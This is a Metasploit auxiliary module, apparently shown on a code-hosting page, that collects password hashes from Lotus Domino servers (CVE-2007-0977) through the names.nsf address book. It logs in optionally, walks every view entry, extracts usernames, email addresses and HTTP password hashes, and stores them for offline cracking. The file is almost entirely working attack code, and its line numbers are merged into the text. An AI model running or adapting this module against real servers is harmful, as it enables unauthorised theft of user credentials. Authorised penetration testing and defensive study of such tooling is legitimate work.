Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize11super(12'Name' => 'Lotus Domino Password Hash Collector',13'Description' => 'Get users passwords hashes from names.nsf page',14'Author' => 'Tiago Ferreira <tiago.ccna[at]gmail.com>',15'License' => MSF_LICENSE,16'References' =>17[18['CVE' , '2007-0977']19]20)2122register_options(23[24OptString.new('NOTES_USER', [false, 'The username to authenticate as', '']),25OptString.new('NOTES_PASS', [false, 'The password for the specified username' ]),26OptString.new('URI', [false, 'Define the path to the names.nsf file', '/names.nsf'])27])28end2930def post_auth?31true32end3334def run_host(ip)35user = datastore['NOTES_USER']36pass = datastore['NOTES_PASS']37@uri = normalize_uri(datastore['URI'])3839if user.eql?('') && pass.eql?('')40print_status("#{peer} - Lotus Domino - Trying dump password hashes without credentials")4142begin43res = send_request_raw({44'method' => 'GET',45'uri' => "#{@uri}\/$defaultview?Readviewentries",46}, 25)4748if res.nil?49print_error('Connection failed')50return51end5253if res && res.body.to_s =~ /\<viewentries/54print_good("#{peer} - Lotus Domino - OK names.nsf accessible without credentials")55cookie = ''56get_views(cookie, @uri)5758elsif res && res.body.to_s =~ /names.nsf\?Login/59print_error("#{peer} - Lotus Domino - The remote server requires authentication")60return :abort6162else63print_error("#{peer} - Lotus Domino - Unrecognized #{res.code} response")64vprint_error(res.to_s)65return :abort6667end6869rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout70rescue ::Timeout::Error, ::Errno::EPIPE71end7273else74print_status("#{peer} - Lotus Domino - Trying dump password hashes with given credentials")75do_login(user, pass)76end77end7879def do_login(user = nil, pass = nil)80post_data = "username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf"8182begin8384res = send_request_cgi({85'method' => 'POST',86'uri' => '/names.nsf?Login',87'data' => post_data88}, 20)8990if res.nil?91print_error("#{peer} - Connection timed out")92return93end9495if res && res.code == 30296if res.get_cookies =~ /DomAuthSessId=(.*);(.*)/i97cookie = "DomAuthSessId=#{$1}"98elsif res.get_cookies =~ /LtpaToken=(.*);(.*)/i99cookie = "LtpaToken=#{$1}"100else101print_error("#{peer} - Lotus Domino - Unrecognized 302 response")102return :abort103end104print_good("#{peer} - Lotus Domino - SUCCESSFUL authentication for '#{user}'")105print_status("#{peer} - Lotus Domino - Getting password hashes")106get_views(cookie, @uri)107108elsif res && res.body.to_s =~ /names.nsf\?Login/109print_error("#{peer} - Lotus Domino - Authentication error: failed to login as '#{user}'")110return :abort111112else113print_error("#{peer} - Lotus Domino - Unrecognized #{res.code} response")114return :abort115end116117rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout118rescue ::Timeout::Error, ::Errno::EPIPE119end120end121122def get_views(cookie, uri)123begin124res = send_request_raw({125'method' => 'GET',126'uri' => "#{uri}\/$defaultview?Readviewentries",127'cookie' => cookie128}, 25)129if res && res.body130max = res.body.scan(/siblings=\"(.*)\"/).first.join1311321.upto(max.to_i) do |i|133res = send_request_raw({134'method' => 'GET',135'uri' => "#{uri}\/$defaultview?Readviewentries&Start=#{i}",136'cookie' => cookie137}, 25)138139view_id = res.body.scan(/unid="([^\s]+)"/)[0].join140dump_hashes(view_id, cookie, uri)141end142143end144145rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout146rescue ::Timeout::Error, ::Errno::EPIPE147end148end149150def dump_hashes(view_id, cookie, uri)151begin152res = send_request_raw({153'method' => 'GET',154'uri' => "#{uri}\/$defaultview/#{view_id}?OpenDocument",155'cookie' => cookie156}, 25)157158if res && res.body159doc = res.get_html_document160short_name = doc.xpath('//input[@name="ShortName"]/@value').text161user_mail = doc.xpath('//input[@name="InternetAddress"]/@value').text162pass_hash = doc.xpath('//input[@name="$dspHTTPPassword" or @name="dspHTTPPassword"]/@value').first&.text163164short_name = 'NULL' if short_name.to_s.strip.empty?165user_mail = 'NULL' if user_mail.to_s.strip.empty?166pass_hash = 'NULL' if pass_hash.to_s.strip.empty?167168print_good("#{peer} - Lotus Domino - Account Found: #{short_name}, #{user_mail}, #{pass_hash}")169170if pass_hash != 'NULL'171domino_svc = report_service(172:host => rhost,173:port => rport,174:name => (ssl ? 'https' : 'http')175)176177report_cred(178user: short_name,179password: pass_hash,180proof: "WEBAPP=\"Lotus Domino\", USER_MAIL=#{user_mail}, HASH=#{pass_hash}, VHOST=#{vhost}"181)182end183end184185rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout186rescue ::Timeout::Error, ::Errno::EPIPE187end188end189190def report_cred(opts)191192service_data = service_details.merge({workspace_id: myworkspace_id})193194credential_data = {195origin_type: :service,196module_fullname: fullname,197username: opts[:user],198private_data: opts[:password],199private_type: :nonreplayable_hash,200jtr_format: 'dominosec'201}.merge(service_data)202203login_data = {204core: create_credential(credential_data),205status: Metasploit::Model::Login::Status::UNTRIED,206proof: opts[:proof]207}.merge(service_data)208209create_credential_login(login_data)210end211end212213214